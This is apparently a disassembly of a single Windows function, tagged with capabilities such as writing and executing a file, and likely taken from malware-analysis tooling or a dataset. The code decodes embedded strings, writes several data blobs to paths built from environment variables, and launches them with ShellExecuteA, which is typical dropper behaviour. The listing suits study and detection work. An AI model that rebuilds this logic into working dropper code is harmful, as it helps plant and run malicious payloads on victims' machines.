Function at 0x40108c
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ac
nop
mov eax, 4
push eax
mov eax, 0x402021
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, str._n_f__fF__f_eE
push ecx
mov dword [ebp - 4], eax
call section..text
add esp, 8
mov ecx, 0x12e
push ecx
mov ecx, str.WB_n_J
push ecx
mov dword [ebp - 8], eax
call section..text
add esp, 8
mov ecx, 0
push ecx
mov ecx, 0
push ecx
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0x3c
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x44]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x402160
mov dword [ebp - 0x44], eax
mov eax, 0x40216c
mov dword [ebp - 0x40], eax
mov eax, 0x40218a
mov dword [ebp - 0x3c], eax
mov eax, 0x402290
mov dword [ebp - 0x38], eax
mov eax, 0x40229c
mov dword [ebp - 0x34], eax
mov eax, 0x4022b9
mov dword [ebp - 0x30], eax
mov eax, 0x414aba
mov dword [ebp - 0x2c], eax
mov eax, 0x414abf
mov dword [ebp - 0x28], eax
mov eax, 0x414ad8
mov dword [ebp - 0x24], eax
mov eax, 0x4228d9
mov dword [ebp - 0x20], eax
mov eax, 0x4228e5
mov dword [ebp - 0x1c], eax
mov eax, 0x422901
mov dword [ebp - 0x18], eax
mov eax, 0xb9ed5e
mov dword [ebp - 0x14], eax
mov eax, str.__nB_r_Y
mov dword [ebp - 0x10], eax
mov eax, 0xb9ed82
mov dword [ebp - 0xc], eax
mov eax, 0x50
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x94]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0xb
mov dword [ebp - 0x94], eax
mov eax, 0x1d
mov dword [ebp - 0x90], eax
mov eax, 0x105
mov dword [ebp - 0x8c], eax
mov eax, 1
mov dword [ebp - 0x88], eax
mov eax, 0xb
mov dword [ebp - 0x84], eax
mov eax, 0x1c
mov dword [ebp - 0x80], eax
mov eax, 0x12800
mov dword [ebp - 0x7c], eax
mov eax, 1
mov dword [ebp - 0x78], eax
mov eax, 4
mov dword [ebp - 0x74], eax
mov eax, 0x18
mov dword [ebp - 0x70], eax
mov eax, 0xde00
mov dword [ebp - 0x6c], eax
mov eax, 1
mov dword [ebp - 0x68], eax
mov eax, 0xb
mov dword [ebp - 0x64], eax
mov eax, 0x1b
mov dword [ebp - 0x60], eax
mov eax, str.:__sm
mov dword [ebp - 0x5c], eax
mov eax, 1
mov dword [ebp - 0x58], eax
mov eax, 0xb
mov dword [ebp - 0x54], eax
mov eax, 0x17
mov dword [ebp - 0x50], eax
mov eax, 0x12c00
mov dword [ebp - 0x4c], eax
mov eax, 1
mov dword [ebp - 0x48], eax
mov eax, 0
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
cmp eax, 5
jge 0x401476
jmp 0x401280
mov eax, dword [ebp - 0x4a8]
inc eax
mov dword [ebp - 0x4a8], eax
jmp 0x40125d
mov eax, dword [ebp - 0x4a8]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x44]
add ecx, eax
mov eax, 0xbb1983
push eax
mov eax, dword [ecx]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x4012fa
mov eax, dword [ebp - 0x4a8]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x44]
add ecx, eax
add ecx, 4
mov eax, dword [ebp - 0x4a8]
shl eax, 4
lea edx, [ebp - 0x94]
add edx, eax
add edx, 4
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
lea eax, [ebp - 0x4a4]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x40138a
mov eax, dword [ebp - 0x4a8]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x44]
add ecx, eax
mov eax, dword [ebp - 0x4a8]
shl eax, 4
lea edx, [ebp - 0x94]
add edx, eax
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov ecx, dword [ebp - 0x4a8]
mov edx, 0xc
imul ecx, edx
lea edx, [ebp - 0x44]
add edx, ecx
add edx, 4
mov ecx, dword [ebp - 0x4a8]
shl ecx, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x94]
add eax, ecx
add eax, 4
mov ecx, dword [eax]
push ecx
mov eax, dword [edx]
push eax
call section..text
add esp, 8
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, str._s_s
push eax
lea eax, [ebp - 0x4a4]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x10
mov eax, 0xbb199b
push eax
lea eax, [ebp - 0x4a4]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x4ac], eax
mov eax, dword [ebp - 0x4a8]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x44]
add ecx, eax
add ecx, 8
mov eax, dword [ebp - 0x4a8]
shl eax, 4
lea edx, [ebp - 0x94]
add edx, eax
add edx, 8
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
mov ecx, dword [ebp - 0x4a8]
shl ecx, 4
lea edx, [ebp - 0x94]
add edx, ecx
add edx, 8
mov ecx, dword [ebp - 0x4ac]
push ecx
mov ecx, 1
push ecx
mov ecx, dword [edx]
push ecx
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x4ac]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0x4a8]
shl eax, 4
lea ecx, [ebp - 0x94]
add ecx, eax
add ecx, 0xc
mov eax, dword [ecx]
cmp eax, 0
je 0x401471
mov eax, 4
push eax
mov eax, 0xbb199e
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0
push ecx
mov ecx, 0
push ecx
lea ecx, [ebp - 0x4a4]
push ecx
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x401271
mov eax, 0
leave
ret